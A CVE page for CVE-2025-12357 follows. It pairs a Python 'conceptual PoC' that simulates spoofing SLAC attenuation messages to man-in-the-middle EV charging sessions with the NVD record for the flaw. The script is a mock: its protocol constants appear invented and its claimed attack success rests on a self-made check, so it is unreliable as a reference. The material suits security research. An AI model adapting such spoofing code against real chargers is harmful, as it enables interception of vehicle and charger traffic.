CVE-2025-12357

#!/usr/bin/env python3 """ CVE-2025-12357 PoC - SLAC Protocol MITM Attack Simulation Note: This is a conceptual PoC for educational and security research purposes only. Unauthorized interception of EV charging communications is illegal. """ import struct import hashlib from dataclasses import dataclass from typing import List, Optional # SLAC Protocol Constants SLAC_PROTOCOL_ID = 0x0001 SLAC_MESSAGE_TYPE_MATCH = 0x0001 SLAC_MESSAGE_TYPE_ATTEN_RESULT = 0x0002 SLAC_MESSAGE_TYPE_ATTEN_CHAR = 0x0003 # Fake measurement values for MITM attack FAKE_ATTENUATION_VALUE = 0x3E # Simulated valid attenuation MANIPULATED_RSSI = -45 # Manipulated signal strength @dataclass class SLACMessage: """Represents a SLAC protocol message""" protocol_id: int message_type: int sequence_num: int payload: bytes def to_bytes(self) -> bytes: header = struct.pack('>HHH', self.protocol_id, self.message_type, self.sequence_num ) return header + self.payload @classmethod def from_bytes(cls, data: bytes) -> 'SLACMessage': protocol_id, message_type, seq = struct.unpack_from('>HHH', data) payload = data[6:] return cls(protocol_id, message_type, seq, payload) class SLACAttacker: """ Simulates an attacker performing MITM attack on SLAC protocol. This demonstrates how attenuation values can be manipulated. """ def __init__(self): self.sequence = 0 self.ev_mac = bytes([0x00, 0x11, 0x22, 0x33, 0x44, 0x55]) self.evse_mac = bytes([0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB]) def generate_spoofed_atten_char(self, target_evse_mac: bytes) -> SLACMessage: """ Generate spoofed SLAC Attenuation Characterization message. In a real attack, this would be injected into the communication channel. """ # Craft payload with manipulated attenuation values payload = bytearray() payload.extend(self.ev_mac) # Source MAC payload.extend(target_evse_mac) # Target EVSE MAC payload.extend(struct.pack('B', FAKE_ATTENUATION_VALUE)) # Fake attenuation payload.extend(struct.pack('b', MANIPULATED_RSSI)) # Manipulated RSSI # Generate validation checksum (simplified) checksum = hashlib.sha256(bytes(payload)).digest()[:4] payload.extend(checksum) return SLACMessage( protocol_id=SLAC_PROTOCOL_ID, message_type=SLAC_MESSAGE_TYPE_ATTEN_CHAR, sequence_num=self.sequence, payload=bytes(payload) ) def intercept_and_modify(self, original_msg: SLACMessage) -> SLACMessage: """ Intercept original SLAC message and modify attenuation values. This is the core of the MITM attack. """ if original_msg.message_type == SLAC_MESSAGE_TYPE_ATTEN_RESULT: # Replace with our manipulated values return self.generate_spoofed_atten_char(self.evse_mac) return original_msg def execute_attack(self) -> dict: """ Simulate the complete MITM attack sequence. Returns attack result summary. """ print("[*] Initiating SLAC MITM Attack Simulation") print(f"[*] Target EV MAC: {self.ev_mac.hex(':')}") print(f"[*] Target EVSE MAC: {self.evse_mac.hex(':')}") # Step 1: Generate spoofed messages spoofed_msg = self.generate_spoofed_atten_char(self.evse_mac) print(f"[+] Generated spoofed SLAC message: Type={spoofed_msg.message_type}") # Step 2: Simulate message injection print("[+] Injecting manipulated attenuation values...") print(f" - Original valid range: 20-60 dB") print(f" - Injected value: {FAKE_ATTENUATION_VALUE} dB") # Step 3: Verify attack success (protocol would accept fake values) is_accepted = self._verify_protocol_acceptance(spoofed_msg) return { 'attack_success': is_accepted, 'spoofed_message': spoofed_msg.to_bytes().hex(), 'manipulated_values': { 'attenuation': FAKE_ATTENUATION_VALUE, 'rssi': MANIPULATED_RSSI }, 'impact': 'MITM position established, enabling eavesdropping and data manipulation' } def _verify_protocol_acceptance(self, msg: SLACMessage) -> bool: """ Simulate protocol verification (simplified). In reality, this would check against protocol specification. """ return (msg.payload[12] <= 100 and # Attenuation within theoretical range -80 <= msg.payload[13] <= 0) # RSSI within valid range def main(): """Run the SLAC MITM attack simulation""" attacker = SLACAttacker() result = attacker.execute_attack() print("\n[*] Attack Simulation Complete") print(f"[*] Protocol Acceptance: {result['attack_success']}") print(f"[*] Impact: {result['impact']}") return result if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-12357", "sourceIdentifier": "[email protected]", "published": "2025-10-31T16:15:38.847", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "By manipulating the Signal Level Attenuation Characterization (SLAC) \nprotocol with spoofed measurements, an attacker can stage a \nman-in-the-middle attack between an electric vehicle and chargers that \ncomply with the ISO 15118-2 part. This vulnerability may be exploitable \nwirelessly, within close proximity, via electromagnetic induction."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-923"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-303-01.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-303-01", "source": "[email protected]"}, {"url": "https://www.iec.ch/contact?id=40499", "source": "[email protected]"}]}}